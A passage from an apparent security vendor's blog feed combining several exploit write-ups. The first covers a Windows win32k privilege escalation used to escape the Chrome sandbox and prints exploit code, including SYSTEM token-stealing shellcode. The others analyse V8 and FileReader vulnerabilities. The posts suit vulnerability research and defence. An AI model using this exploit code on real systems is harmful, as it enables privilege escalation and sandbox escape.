      +0x000 Length           : Uint4B
      +0x004 MaximumLength    : Pos 0, 31 Bits
      +0x004 bAnsi            : Pos 31, 1 Bit
      +0x008 Buffer           : Ptr32 Uint2B
   +0x090 cbwndExtra       : Int4B
   ...      

Leaking the Address of pPopupMenu for Write Address Calculations

Before continuing, lets reexamine how MNGetpItemFromIndex(), which returns the address to be written to, minus an offset of 0x4, operates. Recall that the decompiled version of this function is as follows.

tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax

if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur here if spMenu is NULL.
   result = 0;
else
   result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}

Notice that on line 8 there are two components which make up the final address which is returned. These are pPopupMenu, which is multiplied by 0x6C, and spMenu->rgItems, which will point to offset 0x34 in the NULL page. Without the ability to determine the values of both of these items, the attacker will not be able to fully control what address is returned by MNGetpItemFromIndex(), and henceforth which address xxxMNSetGapState() writes to in memory.

There is a solution for this however, which can be observed by viewing the updates made to the code for SubMenuProc(). The updated code takes the wParam parameter and adds 0x10 to it to obtain the value of pPopupMenu. This is then used to set the value of the variable addressToWriteTo which is used to set the value of spMenu->rgItems within MNGetpItemFromIndex() so that it returns the correct address for xxxMNSetGapState() to write to.

LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	if (msg == WM_MN_FINDMENUWINDOWFROMPOINT){
		printf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n");
		printf("[*] Restoring window procedure...\r\n");
		SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);

		/* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex,
		   except wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate.

		   This is an important information leak as without this the attacker
		   cannot manipulate the values returned from MNGetpItemFromIndex, which
		   can result in kernel crashes and a dramatic decrease in exploit reliability.
		*/
		UINT pPopupAddressInCalculations = wParam + 0x10;

		// Set the address to write to to be the right bit of cbwndExtra in the target tagWND.
		UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));

To understand why this code works, it is necessary to reexamine the code for xxxMNFindWindowFromPoint(). Note that the address of pPopupMenu is sent by xxxMNFindWindowFromPoint() in the wParam parameter when it calls xxxSendMessage() to send a MN_FINDMENUWINDOWFROMPOINT message to the application’s main window. This allows the attacker to obtain the address of pPopupMenu by implementing a handler for MN_FINDMENUWINDOWFROMPOINT which saves the wParam parameter’s value into a local variable for later use.

LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt)
{
....
    v6 = xxxSendMessage(
           var_pPopupMenu->spwndNextPopup,
           MN_FINDMENUWINDOWFROMPOINT,
           (WPARAM)&pPopupMenu,
           (unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the 
                                      // MN_FINDMENUWINDOWFROMPOINT usermode callback
                                      // using the address of pPopupMenu as the 
                                      // wParam argument.
    ThreadUnlock1();
    if ( IsMFMWFPWindow(v6) )  // Validate the handle returned from the user
                               // mode callback is a handle to a MFMWFP window.
      v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned 
                                                                        // handle is a handle to 
                                                                        // a window object. Set v1 to
                                                                        // TRUE if all is good.
      ...

During experiments, it was found that the value sent via xxxSendMessage() is 0x10 less than the value used in MNGetpItemFromIndex(). For this reason, the exploit code adds 0x10 to the value returned from xxxSendMessage() to ensure it the value of pPopupMenu in the exploit code matches the value used inside MNGetpItemFromIndex().

Setting up the Memory in the NULL Page

Once addressToWriteTo has been calculated, the NULL page is set up. In order to set up the NULL page appropriately the following offsets need to be filled out:

• 0x20
• 0x34
• 0x4C
• 0x50 to 0x1050

This can be seen in more detail in the following diagram.

The exploit code starts by setting offset 0x20 in the NULL page to 0xFFFFFFFF. This is done as spMenu will be NULL at this point, so spMenu->cItems will contain the value at offset 0x20 of the NULL page. Setting the value at this address to a large unsigned integer will ensure that spMenu->cItems is greater than the value of pPopupMenu, which will prevent MNGetpItemFromIndex() from returning 0 instead of result. This can be seen on line 5 of the following code.

tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax

if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur 
                                                        // here if spMenu is NULL.
    result = 0;
else
    result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}

Offset 0x34 of the NULL page will contain a DWORD which holds the value of spMenu->rgItems. This will be set to the value of addressToWriteTo so that the calculation shown on line 8 will set result to the address of primaryWindow‘s cbwndExtra field, minus an offset of 0x4.

The other offsets require a more detailed explanation. The following code shows the code within the function xxxMNUpdateDraggingInfo() which utilizes these offsets.

.text:BF975EA3                 mov     eax, [ebx+14h]  ; EAX = ppopupmenu->spmenu
.text:BF975EA3                                         ;
.text:BF975EA3                                         ; Should set EAX to 0 or NULL.
.text:BF975EA6                 push    dword ptr [eax+4Ch] ; uIndex aka pPopupMenu. This will be the 
.text:BF975EA6                                             ; value at address 0x4C given that
.text:BF975EA6                                             ; ppopupmenu->spmenu is NULL.
.text:BF975EA9                 push    eax             ; spMenu. Will be NULL or 0.
.text:BF975EAA                 call    MNGetpItemFromIndex
..............
.text:BF975EBA                 add     ecx, [eax+28h]  ; ECX += pItemFromIndex->yItem
.text:BF975EBA                                         ;
.text:BF975EBA                                         ; pItemFromIndex->yItem will be the value
.text:BF975EBA                                         ; at offset 0x28 of whatever value
.text:BF975EBA                                         ; MNGetpItemFromIndex returns.
...............
.text:BF975ECE                 cmp     ecx, ebx
.text:BF975ED0                 jg      short loc_BF975EDB ; Jump to loc_BF975EDB if the following 
.text:BF975ED0                                            ; condition is true:
.text:BF975ED0                                            ;
.text:BF975ED0                                            ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))

As can be seen above, a call will be made to MNGetpItemFromIndex() using two parameters: spMenu which will be set to a value of NULL, and uIndex, which will contain the DWORD at offset 0x4C of the NULL page. The value returned by MNGetpItemFromIndex() will then be incremented by 0x28 before being used as a pointer to a DWORD. The DWORD at the resulting address will then be used to set pItemFromIndex->yItem, which will be utilized in a calculation to determine whether a jump should be taken. The exploit needs to ensure that this jump is always taken as it ensures that xxxMNSetGapState() goes about writing to addressToWrite in a consistent manner.

To ensure this jump is taken, the exploit sets the value at offset 0x4C in such a way that MNGetpItemFromIndex() will always return a value within the range 0x120 to 0x180. By then setting the bytes at offset 0x50 to 0x1050 within the NULL page to 0xF0 the attacker can ensure that regardless of the value that MNGetpItemFromIndex() returns, when it is incremented by 0x28 and used as a pointer to a DWORD it will result in pItemFromIndex->yItem being set to 0xF0F0F0F0. This will cause the first half of the following calculation to always be a very large unsigned integer, and henceforth the jump will always be taken.

((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))

Forming a Stronger Write Primitive by Using the Limited Write Primitive

Once the NULL page has been set up, SubMenuProc() will return hWndFakeMenu to xxxSendMessage() in xxxMNFindWindowFromPoint(), where execution will continue.

memset((void *)0x50, 0xF0, 0x1000);

return (ULONG)hWndFakeMenu;

After the xxxSendMessage() call, xxxMNFindWindowFromPoint() will call HMValidateHandleNoSecure() to ensure that hWndFakeMenu is a handle to a window object. This code can be seen below.

v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the 
                                      // MN_FINDMENUWINDOWFROMPOINT usermode callback
                                      // using the address of pPopupMenu as the 
                                      // wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
                          // mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned handle 
                                                                  // is a handle to a window object. 
                                                                  // Set v1 to TRUE if all is good.

If hWndFakeMenu is deemed to be a valid handle to a window object, then xxxMNSetGapState() will be executed, which will set the cbwndExtra field in primaryWindow to 0x40000000, as shown below. This will allow SetWindowLong() calls that operate on primaryWindow to set values beyond the normal boundaries of primaryWindow‘s WndExtra data field, thereby allowing primaryWindow to make controlled writes to data within secondaryWindow.

void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet)
{
  ...
          var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write 
                                                         // operation should occur, minus an 
                                                         // offset of 0x4.
          temp_var_PITEM = var_PITEM;
          if ( var_PITEM )
          {
            ...
            var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the 
                                                         // address where the second write operation 
                                                         // should occur, minus an offset of 0x4. This 
                                                         // address will be 0x6C bytes earlier in 
                                                         // memory than the address in var_PITEM.
            if ( fSet )
            {
              *((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the 
                                                             // attacker controlled address.
              if ( var_PITEM_Minus_Offset_Of_0x6C )
              {
                *((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u; 
                                                    // Conduct the second write to the attacker
                                                    // controlled address minus 0x68 (0x6C-0x4).

Once the kernel write operation within xxxMNSetGapState() is finished, the undocumented window message 0x1E5 will be sent. The updated exploit catches this message in the following code.

else {
	if ((cwp->message == 0x1E5)) {
		UINT offset = 0; // Create the offset variable which will hold the offset from the
					           // start of hPrimaryWindow's cbwnd data field to write to.

		UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set 
                                 // addressOfStartofPrimaryWndCbWndData to the address of
                                 // the start of hPrimaryWindow's cbwnd data field.

		// Set offset to the difference between hSecondaryWindow's
		// strName.Buffer's memory address and the address of
		// hPrimaryWindow's cbwnd data field.
		offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData);
		printf("[*] Offset: 0x%08X\r\n", offset);

		// Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16),
    // or the address of the bServerSideWindowProc bit.
		if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) {
			printf("[!] SetWindowLongA malicious error: 0x%08X\r\n", GetLastError());
			ExitProcess(-1);
		}
		else {
			printf("[*] SetWindowLongA called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset));
		}

This code will start by checking if the window message was 0x1E5. If it was then the code will calculate the distance between the start of primaryWindow‘s wndExtra data section and the location of secondaryWindow‘s strName.Buffer pointer. The difference between these two locations will be saved into the variable offset.

Once this is done, SetWindowLongA() is called using hPrimaryWindow and the offset variable to set secondaryWindow‘s strName.Buffer pointer to the address of secondaryWindow‘s bServerSideWindowProc field. The effect of this operation can be seen in the diagram below.

By performing this action, when SetWindowText() is called on secondaryWindow, it will proceed to use its overwritten strName.Buffer pointer to determine where the write should be conducted, which will result in secondaryWindow‘s bServerSideWindowProc flag being overwritten if an appropriate value is supplied as the lpString argument to SetWindowText().

Abusing the tagWND Write Primitive to Set the bServerSideWindowProc Bit

Once the strName.Buffer field within secondaryWindow has been set to the address of secondaryWindow‘s bServerSideWindowProc flag, SetWindowText() is called using an hWnd parameter of hSecondaryWindow and an lpString value of “\x06” in order to enable the bServerSideWindowProc flag in secondaryWindow.

// Write the value \x06 to the address pointed to by hSecondaryWindow's strName.Buffer 
// field to set the bServerSideWindowProc bit in hSecondaryWindow.
if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) {
	printf("[!] SetWindowTextA couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError());
	ExitProcess(-1);
}
else {
	printf("Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));

The following diagram shows what secondaryWindow‘s tagWND layout looks like before and after the SetWindowTextA() call.

Setting the bServerSideWindowProc flag ensures that secondaryWindow‘s window procedure, sprayCallback(), will now run in kernel mode with SYSTEM level privileges, rather than in user mode like most other window procedures. This is a popular vector for privilege escalation and has been used in many attacks such as a 2017 attack by the Sednit APT group. The following diagram illustrates this in more detail.

Stealing the Process Token and Removing the Job Restrictions

Once the call to SetWindowTextA() is completed, a WM_ENTERIDLE message will be sent to hSecondaryWindow, as can be seen in the following code.

printf("Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n");
SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);
if (success == TRUE) {
	printf("[*] Successfully exploited the program and triggered the shellcode!\r\n");
}
else {
	printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n");
	ExitProcess(-1);
}

The WM_ENTERIDLE message will then be picked up by secondaryWindow‘s window procedure sprayCallback(). The code for this function can be seen below.

// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for
// additional insight into how this function should operate. Note that a token stealing shellcode
// is called here only because trying to spawn processes or do anything complex as SYSTEM
// often resulted in APC_INDEX_MISMATCH errors and a kernel crash.
LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	if (uMsg == WM_ENTERIDLE) {
		WORD um = 0;
		__asm
		{
			// Grab the value of the CS register and
			// save it into the variable UM.
			mov ax, cs
			mov um, ax
		}
		// If UM is 0x1B, this function is executing in usermode
		// code and something went wrong. Therefore output a message that
		// the exploit didn't succeed and bail.
		if (um == 0x1b)
		{
			// USER MODE
			printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
			ExitProcess(-1); // Bail as if this code is hit either the target isn't 
                       // vulnerable or something is wrong with the exploit.
		}
		else
		{
			success = TRUE; // Set the success flag to indicate the sprayCallback()
                      // window procedure is running as SYSTEM.
			Shellcode(); // Call the Shellcode() function to perform the token stealing and
						       // to remove the Job object on the Chrome renderer process.
		}
	}
	return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

As the bServerSideWindowProc flag has been set in secondaryWindow‘s tagWND object, sprayCallback() should now be running as the SYSTEM user. The sprayCallback() function first checks that the incoming message is a WM_ENTERIDLE message. If it is, then inlined shellcode will ensure that sprayCallback() is indeed being run as the SYSTEM user. If this check passes, the boolean success is set to TRUE to indicate the exploit succeeded, and the function Shellcode() is executed.

Shellcode() will perform a simple token stealing exploit using the shellcode shown on abatchy’s blog post with two slight modifications which have been highlighted in the code below.

// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.
// Essentially a standard token stealing shellcode, with two lines 
// added to remove the Job object associated with the Chrome 
// renderer process.
__declspec(noinline) int Shellcode()
{
	__asm {
		xor eax, eax // Set EAX to 0.
		mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
											 // _KTHREAD is located at FS:[0x124]

		mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
		mov ecx, eax // Copy current process _EPROCESS structure
		xor edx, edx // Set EDX to 0.
		mov DWORD PTR [ecx + 0x124], edx // Set the JOB pointer in the _EPROCESS structure to NULL.
		mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0B8h
			cmp [eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
		mov [ecx + 0xF8], edx // Assign SYSTEM process token.
	}
}

The modification takes the EPROCESS structure for Chrome renderer process, and NULLs out its Job pointer. This is done because during experiments it was found that even if the shellcode stole the SYSTEM token, this token would still inherit the job object of the Chrome renderer process, preventing the exploit from being able to spawn any child processes. NULLing out the Job pointer within the Chrome renderer process prior to changing the Chrome renderer process’s token removes the job restrictions from both the Chrome renderer process and any tokens that later get assigned to it, preventing this from happening.

To better understand the importance of NULLing the job object, examine the following dump of the process token for a normal Chrome renderer process. Notice that the Job object field is filled in, so the job object restrictions are currently being applied to the process.

0: kd> !process C54
Searching for Process with Cid == c54
PROCESS 859b8b40  SessionId: 2  Cid: 0c54    Peb: 7ffd9000  ParentCid: 0f30
    DirBase: bf2f2cc0  ObjectTable: 8258f0d8  HandleCount: 213.
    Image: chrome.exe
    VadRoot 859b9e50 Vads 182 Clone 0 Private 2519. Modified 718. Locked 0.
    DeviceMap 9abe5608
    Token                             a6fccc58
    ElapsedTime                       00:00:18.588
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         351516
    QuotaPoolUsage[NonPagedPool]      11080
    Working Set Sizes (now,min,max)  (9035, 50, 345) (36140KB, 200KB, 1380KB)
    PeakWorkingSetSize                9730
    VirtualSize                       734 Mb
    PeakVirtualSize                   740 Mb
    PageFaultCount                    12759
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      5378
    Job                               859b3ec8

        THREAD 859801e8  Cid 0c54.08e8  Teb: 7ffdf000 Win32Thread: fe118dc8 WAIT: (UserRequest) UserMode Non-Alertable
            859c6dc8  SynchronizationEvent

To confirm these restrictions are indeed in place, one can examine the process token for this process in Process Explorer, which confirms that the job contains a number of restrictions, such as prohibiting the spawning of child processes.

If the Job field within this process token is set to NULL, WinDBG’s !process command no longer associates a job with the object.

1: kd> dt nt!_EPROCESS 859b8b40 Job
   +0x124 Job : 0x859b3ec8 _EJOB
1: kd> dd 859b8b40+0x124
859b8c64  859b3ec8 99c4d988 00fd0000 c512eacc
859b8c74  00000000 00000000 00000070 00000f30
859b8c84  00000000 00000000 00000000 9abe5608
859b8c94  00000000 7ffaf000 00000000 00000000
859b8ca4  00000000 a4e89000 6f726863 652e656d
859b8cb4  00006578 01000000 859b3ee0 859b3ee0
859b8cc4  00000000 85980450 85947298 00000000
859b8cd4  862f2cc0 0000000e 265e67f7 00008000
1: kd> ed 859b8c64 0
1: kd> dd 859b8b40+0x124
859b8c64  00000000 99c4d988 00fd0000 c512eacc
859b8c74  00000000 00000000 00000070 00000f30
859b8c84  00000000 00000000 00000000 9abe5608
859b8c94  00000000 7ffaf000 00000000 00000000
859b8ca4  00000000 a4e89000 6f726863 652e656d
859b8cb4  00006578 01000000 859b3ee0 859b3ee0
859b8cc4  00000000 85980450 85947298 00000000
859b8cd4  862f2cc0 0000000e 265e67f7 00008000
1: kd> dt nt!_EPROCESS 859b8b40 Job
   +0x124 Job : (null)
1: kd> !process C54
Searching for Process with Cid == c54
PROCESS 859b8b40  SessionId: 2  Cid: 0c54    Peb: 7ffd9000  ParentCid: 0f30
    DirBase: bf2f2cc0  ObjectTable: 8258f0d8  HandleCount: 214.
    Image: chrome.exe
    VadRoot 859b9e50 Vads 180 Clone 0 Private 2531. Modified 720. Locked 0.
    DeviceMap 9abe5608
    Token                             a6fccc58
    ElapsedTime                       00:14:15.066
    UserTime                          00:00:00.015
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         351132
    QuotaPoolUsage[NonPagedPool]      10960
    Working Set Sizes (now,min,max)  (9112, 50, 345) (36448KB, 200KB, 1380KB)
    PeakWorkingSetSize                9730
    VirtualSize                       733 Mb
    PeakVirtualSize                   740 Mb
    PageFaultCount                    12913
    MemoryPriority                    BACKGROUND
    BasePriority                      4
    CommitCharge                      5355

        THREAD 859801e8  Cid 0c54.08e8  Teb: 7ffdf000 Win32Thread: fe118dc8 WAIT: (UserRequest) UserMode Non-Alertable
            859c6dc8  SynchronizationEvent

Examining Process Explorer once again confirms that since the Job field in the Chrome render’s process token has been NULL’d out, there is no longer any job associated with the Chrome renderer process. This can be seen in the following screenshot, which shows that the Job tab is no longer available for the Chrome renderer process since no job is associated with it anymore, which means it can now spawn any child process it wishes.

Spawning the New Process

Once Shellcode() finishes executing, WindowHookProc() will conduct a check to see if the variable success was set to TRUE, indicating that the exploit completed successfully. If it has, then it will print out a success message before returning execution to main().

if (success == TRUE) {
	printf("[*] Successfully exploited the program and triggered the shellcode!\r\n");
}
else {
	printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n");
	ExitProcess(-1);
}

main() will exit its window message handling loop since there are no more messages to be processed and will then perform a check to see if success is set to TRUE. If it is, then a call to WinExec() will be performed to execute cmd.exe with SYSTEM privileges using the stolen SYSTEM token.

// Execute command if exploit success.
if (success == TRUE) {
	WinExec("cmd.exe", 1);
}

Demo Video

The following video demonstrates how this vulnerability was combined with István Kurucsai’s exploit for CVE-2019-5786 to form the fully working exploit chain described in Google’s blog post. Notice the attacker can spawn arbitrary commands as the SYSTEM user from Chrome despite the limitations of the Chrome sandbox.

Code for the full exploit chain can be found on GitHub:
https://github.com/exodusintel/CVE-2019-0808

Detection

Detection of exploitation attempts can be performed by examining user mode applications to see if they make any calls to CreateWindow() or CreateWindowEx() with an lpClassName parameter of “#32768”. Any user mode applications which exhibit this behavior are likely malicious since the class string “#32768” is reserved for system use, and should therefore be subject to further inspection.

Mitigation

Running Windows 8 or higher prevents attackers from being able to exploit this issue since Windows 8 and later prevents applications from mapping the first 64 KB of memory (as mentioned on slide 33 of Matt Miller’s 2012 BlackHat slidedeck), which means that attackers can’t allocate the NULL page or memory near the null page such as 0x30. Additionally upgrading to Windows 8 or higher will also allow Chrome’s sandbox to block all calls to win32k.sys, thereby preventing the attacker from being able to call NtUserMNDragOver() to trigger this vulnerability.

On Windows 7, the only possible mitigation is to apply KB4489878 or KB4489885, which can be downloaded from the links in the CVE-2019-0808 advisory page.

Conclusion

Developing a Chrome sandbox escape requires a number of requirements to be met. However, by combining the right exploit with the limited mitigations of Windows 7, it was possible to make a working sandbox exploit from a bug in win32k.sys to illustrate the 0Day exploit chain originally described in Google’s blog post.

The timely and detailed analysis of vulnerabilities are some of benefits of an Exodus nDay Subscription. This subscription also allows offensive groups to test mitigating controls and detection and response functions within their organisations. Corporate SOC/NOC groups also make use of our nDay Subscription to keep watch on critical assets.

This post explores the possibility of developing a working exploit for a vulnerability already patched in the v8 source tree before the fix makes it into a stable Chrome release.

Author: István Kurucsai

Chrome Release Schedule

Chrome has a relatively tight release cycle of pushing a new stable version every 6 weeks with stable refreshes in between if warranted by critical issues. As a result of its open-source development model, while security fixes are immediately visible in the source tree, they need time to be tested in the non-stable release channels of Chrome before they can be pushed out via the auto-update mechanism as part of a stable release to most of the user-base.

In effect, there’s a window of opportunity for attackers ranging from a couple days to weeks in which the vulnerability details are practically public yet most of the users are vulnerable and cannot obtain a patch.

Open Source Patch Analysis

Looking through the git log of v8 can be an overwhelming experience. There was a change however that caught my attention immediately. The fix has the following commit message:

[TurboFan] Array.prototype.map wrong ElementsKind for output array.

The associated chromium issue tracker entry is restricted and likely to remain so for months. However, it has all the ingredients that might allow an attacker to produce an exploit quickly, which is the ultimate goal here: TurboFan is the optimizing JIT compiler of v8, which has become a hot target recently. Array vulnerabilities are always promising and this one hints at a type confusion between element kinds, which can be relatively straightforward to exploit. The patch also includes a regression test that effectively triggers the vulnerability, which can also help shorten exploit development time.

The only modified method is JSCallReducer::ReduceArrayMap in src/compiler/js-call-reducer.cc:

JSCallReducer runs during the InliningPhase of TurboFan, its ReduceArrayMap method attempts to replace calls to Array.prototype.map with inlined code. The comments are descriptive, the added lines insert a check to verify that the length of the array is below kMaxFastArrayLength (which is 32 MiB). This length is passed to CreateArray, which returns a new array.

The v8 engine has different optimizations for the storage of arrays that have specific characteristics. For example, PACKED_DOUBLE_ELEMENTS is the elements kind used for arrays that only have double elements and no holes. These are stored as a contiguous array in memory and allow for efficient code generation for operations like map. Confusion between the different element kinds is a common source of security vulnerabilities.

So why is it a problem if the length is above kMaxFastArrayLength? Because CreateArray will return an array with a dictionary element kind for such lengths. Dictionaries are used for large and sparse arrays and are basically hash tables. However, by feeding it the right type feedback, TurboFan will try to generate optimized code for contiguous arrays. This is a common property of many JIT compiler vulnerabilities: the compiler makes an optimization based on type feedback but a corner case allows an attacker to break the assumption during runtime of the generated code.

Since the dictionary and contiguous element kinds have vastly different backing storage mechanisms, this allows for memory corruption. In effect, the output array will be a small (considering its size in memory, not its length property) dictionary that will be accessed by the optimized code as if it was a large (again, considering its size in memory) contiguous region.

Looking at the regression test included in the fix, it feeds the mapping function with feedback for an array with contiguous storage (Lines 6-13), then after it’s been optimized by Turbofan, invokes it with an array that is large enough so that the output of map will end up with dictionary element kind.

Exploitation

Since the map operation will write ~32 million elements out-of-bounds to the output array, the regression test essentially triggers a wild memcpy. To make exploitation possible, the loop of map needs to be stopped. This is possible by providing a callback function that raises an exception after the desired number of iterations. Another issue is that it overwrites everything linearly without skips, while ideally we would like to only selectively overwrite a single value at a specific offset, e.g. the length property of an adjacent array. Reading through the documentation of Array.prototype.map, the following can be seen:

map calls a provided callback function once for each element in an array, in order, and constructs a new array from the results. callback is invoked only for indexes of the array which have assigned values, including undefined. It is not called for missing elements of the array (that is, indexes that have never been set, which have been deleted or which have never been assigned a value).

So unset elements (holes) are skipped and map writes nothing to the output array for those indexes. The PoC code below utilizes both of these behaviors to overwrite the length of an array adjacent to the map output array.

At this point, we have a float array that can be used for out-of-bounds reads and writes. The exploit aims for the following object layout on the heap to capitalize on this:

[output of Array.map][packed float array][typed array][obj]

The corrupted float array is used to modify the backing store pointer of the typed array, thus achieving arbitrary read/write. obj at the end is used to leak the address of arbitrary objects by setting them as inline properties on it then reading their address through the float array. From then on, the exploit follows the steps described in my previous post to achieve arbitrary code execution by creating an RWX page via WebAssembly, traversing the JSFunction object hierarchy to find it in memory and place the shellcode there.

The full exploit code which works on the latest stable version (v73.0.3683.86 as of 3rd April 2019) can be found on our github and it can be seen in action below. It’s quite reliable and could also be integrated with a Site-Isolation based brute-forcer, as discussed in our previous blog posts. Note that a sandbox escape would be needed for a complete chain.

Detection

The exploit doesn’t rely on any uncommon features or cause unusual behavior in the renderer process, which makes distinguishing between malicious and benign code difficult without false positive results.

Mitigation

Disabling JavaScript execution via the Settings / Advanced settings / Privacy and security / Content settings menu provides effective mitigation against the vulnerability.

Conclusion

The idea of developing exploits for 1day vulnerabilities before the fix becomes available isn’t new and the issue is definitely not unique to Chrome. Even though exploits developed for such vulnerabilities have a short lifespan, malicious actors may take advantage of them, as they avoid the risk of burning 0days. Keeping up-to-date on patches/updates from a vendor or relying on public advisories isn’t good enough. One needs to dig deep into a patch to know if it applies to an exploitable security vulnerability.

The timely analysis of these 1day vulnerabilities is one of the key differentiators of our Exodus nDay Subscription. It enables our customers to ensure their defensive measures have been implemented properly even in the absence of a proper patch from the vendor. This subscription also allows offensive groups to test mitigating controls and detection and response functions within their organisations. Corporate SOC/NOC groups also make use of our nDay Subscription to keep watch on critical assets.

This post provides detailed analysis and an exploit achieving remote code execution for the recently fixed Chrome vulnerability that was observed by Google to be exploited in the wild.

Author: István Kurucsai

Patch Analysis

The release notes from Google are short on information as usual:

[$N/A][936448] High CVE-2019-5786: Use-after-free in FileReader. Reported by Clement Lecigne of Google’s Threat Analysis Group on 2019-02-27

As described on MDN, the “FileReader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user’s computer, using File or Blob objects to specify the file or data to read”. It can be used to read the contents of files selected in a file open dialog by the user or Blobs created by script code. An example usage is shown in below.

It is important to note that the File or Blob contents are read asynchronously and the user JS code is notified of the progress via callbacks. The onprogress event may be fired multiple times while the reading is in progress, giving access to the contents read so far. The onloadend event is triggered once the operation is completed, either in success or failure.

Searching for the issue number in the Chromium git logs quickly reveals the patch for the vulnerability, which alters a single function. The original, vulnerable version is shown below.

This function gets called each time the result property is accessed in a callback after a FileReader.readAsArrayBuffer call in JavaScript.

While the object hierarchy around the C++ implementation of ArrayBuffers is relatively complicated, the important pieces are described below. Note that the C++ namespaces of the different classes are included so that distinguishing between objects implemented in Chromium (the WTF and blink namespaces) and v8 (everything under the v8 namespace) is easier.

• WTF::ArrayBuffer: the embedder-side (Chromium) implementation of the ArrayBuffer concept. WTF::ArrayBuffer objects are reference counted and contain the raw pointer to their underlying memory buffer, which is freed when the reference count of an ArrayBuffer reaches 0.
• blink::DOMArrayBufferBase: a garbage collected class containing a smart pointer to a WTF::ArrayBuffer.
• blink::DOMArrayBuffer: class inheriting from blink::DOMArrayBufferBase, describing an ArrayBuffer in Chromium. Represented in the JavaScript engine by a v8::internal::JSArrayBuffer instance.
• WTF::ArrayBufferBuilder: helper class to construct a WTF::ArrayBuffer incrementally. Holds a smart pointer to the ArrayBuffer.
• blink::FileReaderLoader: responsible for loading the File or Blob contents. Uses WTF::ArrayBufferBuilder to build the ArrayBuffer as the data is read.

Comparing the code to the fixed version shown below, the most important difference is that if loading is not finished, the patched version creates new ArrayBuffer objects using the ArrayBuffer::Create function while the vulnerable version simply passes on a reference to the existing ArrayBuffer to the DOMArrayBuffer::Create function. ToArrayBuffer always returns the actual state of the ArrayBuffer being built but since the reading is a asynchronous, it may return the same one under some circumstances.

What are those circumstances? The raw_data_ variable in the code is of the type ArrayBufferBuilder, which is used to construct the result ArrayBuffer from the incrementally read data by dynamically allocating larger and larger underlying ArrayBuffers as needed. The ToArrayBuffer method returns a smart pointer to this underlying ArrayBuffer if the contents read so far fully occupy the currently allocated buffer and creates a new one via slicing if the buffer is not fully used yet.

